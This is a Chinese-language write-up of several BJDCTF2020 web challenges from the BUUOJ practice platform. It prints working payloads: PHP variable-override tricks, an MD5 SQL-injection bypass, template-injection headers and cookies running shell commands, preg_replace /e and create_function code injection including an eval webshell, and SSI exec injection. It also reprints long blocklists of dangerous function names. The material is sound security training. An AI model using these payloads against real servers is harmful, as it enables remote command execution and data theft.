[BJDCTF2020]Mark loves cat
进去之后是一个网页,怀疑是git
泄露,因为挺多这样拿源码的而且题目是个cat
1
| python GitHack.py http://a2ea6e9a-3c74-4806-be7c-911267a2c810.node5.buuoj.cn:81/.git
|
flag.php
是一个普通的开文件的没啥用,源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| <?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
|
一个变量覆盖吧,exit(flag)
就可以得到flag
但是深究其特性,我们还是起环境来实验吧
1
2
3
4
5
6
7
8
| <?php
foreach($_POST as $x => $y){
$$x = $y;
}
var_dump($$x);
?>
//POST :age=15&passwd=20&w=10
//string(2) "10"
|
1
2
3
4
5
| foreach($_GET as $x => $y){
$$x = $$y;
}
//GET:x=y 一个嵌套的赋值
//$x=$y
|
1
2
3
4
| if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
//这个可以赋值绕过
|
欧克那么上payload
1
2
3
4
5
| ?handsome=flag&flag=a&a=flag
?yds=flag
?is=flag&flag=flag
|
[BJDCTF2020]Easy MD5
抓包发现hint
1
| hint: select * from 'admin' where password=md5($pass,true)
|
实验发现
1
2
3
4
5
| select * from 'admin' where password=''or'1abcdefg' ---> True
select * from 'admin' where password=''or'0abcdefg' ---> False
select * from 'admin' where password=''or'1' ---> True
select * from 'admin' where password=''or'2' ---> True
select * from 'admin' where password=''or'0' ---> False
|
那么这里有个很经典的姿势就是ffifdyop
绕过
这里也引入一个爆破脚本
1
2
3
4
5
6
7
| <?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
|
绕过这层之后进入下一层
1
2
3
4
5
6
7
| <!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
|
1
2
3
4
5
6
7
8
9
| <?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
|
到这里我直接传参竟然过不去了,后来发现是url
的问题
1
2
3
| http://55379fcc-71e8-4ff1-9e37-ec8c41bfbd3e.node5.buuoj.cn:81/levell14.php
POST:
param1[]=1¶m2[]=2
|
[BJDCTF2020]The mystery of ip
进来之后发现IP
可控
然后就慢慢试就可以了,最后发现是ssti
尝试了一下jinja
的RCE,发现把.
过滤了
然后就直接执行了,没想到成功了,但是有点不适应的是,当前目录有个假flag
1
2
3
| X-Forwarded-For:{{system("ls /")}}
X-Forwarded-For:{{system("nl /f*")}}
|
[BJDCTF2020]ZJCTF,不过如此
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
|
如果用php://input
协议的话确实是需要bp发包了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1
Host: 9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
I have a dream
|
但是如果用data://
协议的话
直接传这个就可以了
1
| ?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
|
next.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
|
这里是有一个洞的,正则替换函数原型
1
2
3
| mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
漏洞条件:
/e修正符修饰下,preg_replace中的第二个参数将当作php代码执行。
|
实验一下,直接借用师傅的代码了哦
1
2
3
4
| <?php
if (isset($_GET['t'])) {
echo preg_replace('/test/', $_GET['t'], 'Just test');
}
|

1
2
3
4
| <?php
if (isset($_GET['t'])) {
echo preg_replace('/test/e', $_GET['t'], 'Just test');
}
|
这个版本比较低,所以我就没浮现了,本题是PHP5.6.40
那么回到题目
strtolower
函数可以将大写转小写
1
| 'strtolower("\\1")',结果是,任何匹配正则表达式的捕获组内容都会被转换为小写。
|
那么我们绕过
正则中的参数我们就得填写为.*
或者\S+
.
匹配除换行符之外的任意字符;\S
匹配任何非空白字符。等价于 [^ \f\n\r\t\v]
;+
匹配一次或多次,即{1,}
。
但是GET方式传的字符串,php里会把参数名里的特殊字符转为下划线_
那么.
会被替换成_
1
2
3
| http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=echo `tac /f*`;
http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S%2b=${getFlag()}&cmd=echo `tac /f*`;
|
这里有部分绕过,所以我们可以写🐎,但是不带引号即可
1
2
3
4
| http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/next.php?\S%2b=${eval($_POST[a])}
POST:
a=echo `ls /`;
|
[BJDCTF2020]EzPHP
终于不是phar
反序列化了
1
2
3
| <html>
<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->
|
base32/1nD3x.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| <?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
|
还是挺长的
1
2
3
4
5
6
| if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
|
if($_SERVER)
不对payload
进行url
编码但是普通的传参会,所以直接编码即可绕过
1
2
3
4
5
6
| if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
|
第二层换行符(%0a)就可以绕过了
1
2
3
4
5
6
| if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
|
第三层$_REQUEST
特性:变量post
值会优先于get
,所以post
一个数字就绕过了
1
2
| if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
|
这个用data协议绕过即可
1
| data://text/plain,debu_debu_aqua
|
1
2
3
4
5
6
| if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
|
这一层数组绕过就行了,很常见
1
2
3
4
5
6
7
| if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
|
最后一层create_function()
代码注入
1
2
3
| http://bf3b327c-71aa-4d54-8368-fac17158dfbb.node5.buuoj.cn:81/1nD3x.php?file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=1&passwd[]=2
debu=1&file=1
|
实际传参还是要编码的,但是非常傻逼的就是,必须把file放在前面,md不知道怎么检测的
1
2
3
| ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
debu=1&file=1
|
extract($_GET["flag"]);
我们进行覆盖code
和ag
1
2
| flag[code]=create_function&flag[arg]=;}phpinfo();//
当然也要编码
|
get_defined_vars ()
返回一个关联数组,其中包含当前作用域内所有已定义的变量及其值。既然包含了flag.php
,那我们就看看
1
2
3
4
| flag[code]=create_function&flag[arg]=;}var_dump(get_defined_vars());//
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
POST:debu=1&file=1
|
找到rea1fl4g.php
因为禁用的符号挺多的,这里我们使用require
和filter
协议来读取文件
1
2
3
4
5
6
7
| require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
取反
?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//
POST:
debu=1&file=1
|
真恶心啊,特别是编码哪一块,浪费很多时间
[BJDCTF2020]EasySearch
目录扫描到index.php.swp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| <?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
|
爆破
1
2
3
4
5
6
7
8
| import hashlib
for i in range(1,10000000000000):
m=hashlib.md5(str(i).encode()).hexdigest()
if m[0:6]=='6d0bc1':
print(i)
break
|
之后,输入没回显,于是抓包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| Response:
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 12 Aug 2024 07:31:59 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 568
Connection: close
X-Powered-By: PHP/7.1.27
Url_Is_Here: public/99f40cea251233eb066306b560786af165289a0d.shtml
Vary: Accept-Encoding
Cache-Control: no-cache
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<meta name="viewport" content="width=device-width">
<link href="public/css/base.css" rel="stylesheet" type="text/css">
<link href="public/css/login.css" rel="stylesheet" type="text/css">
</head>
<body><script>alert('[+] Welcome to manage system')</script>[!] Header error ... <div id="tip"></div>
<div class="foot">
bjd.cn
</div>
</form>
</div></body>
</html>
|
进入界面之后发现IP不可控,只能看看username
后面观察是shtml
上网查了一下名为SSI注入
SSI
- Web服务器为Apache和IIS(支持SSI功能的服务器)
- 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
- Web应用程序在返回响应的HTML页面时,嵌入用户输入
- 未对输入的参数值进行输入过滤
1
2
| <!--#exec cmd="id"> -->
是可以执行命令的
|
也就是说我们在网页生成以后的shtml文件中就可以看到命令结果
看包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| Request:
POST /index.php HTTP/1.1
Host: 61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Length: 52
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=<!--#exec cmd="ls ../" -->&password=2020666
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| POST /index.php HTTP/1.1
Host: 61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61d84261-0376-475e-82b8-6957f642df64.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=<!--#exec cmd="tac ../f*" -->&password=2020666
|
[BJDCTF2020]Cookie is so stable
查看源码
1
| <!-- Why not take a closer look at cookies? -->
|
终于翻了几个网页找到了注入点ssti
php
的ssti
还是第一次,去网上查了一下,直接套的payload
Twig
模块应该是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| request:
POST /flag.php HTTP/1.1
Host: 54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://54976d8d-7256-49ea-b9f5-92dbf98e734e.node5.buuoj.cn:81/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=15294df4dceeffc6c03a4f227f7f3392;user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("tac /f*")}}
Connection: close
|
但是为什么不能读取目录呢
本来想着读取目录的,但是过滤的确实多,弄了好一会二都没出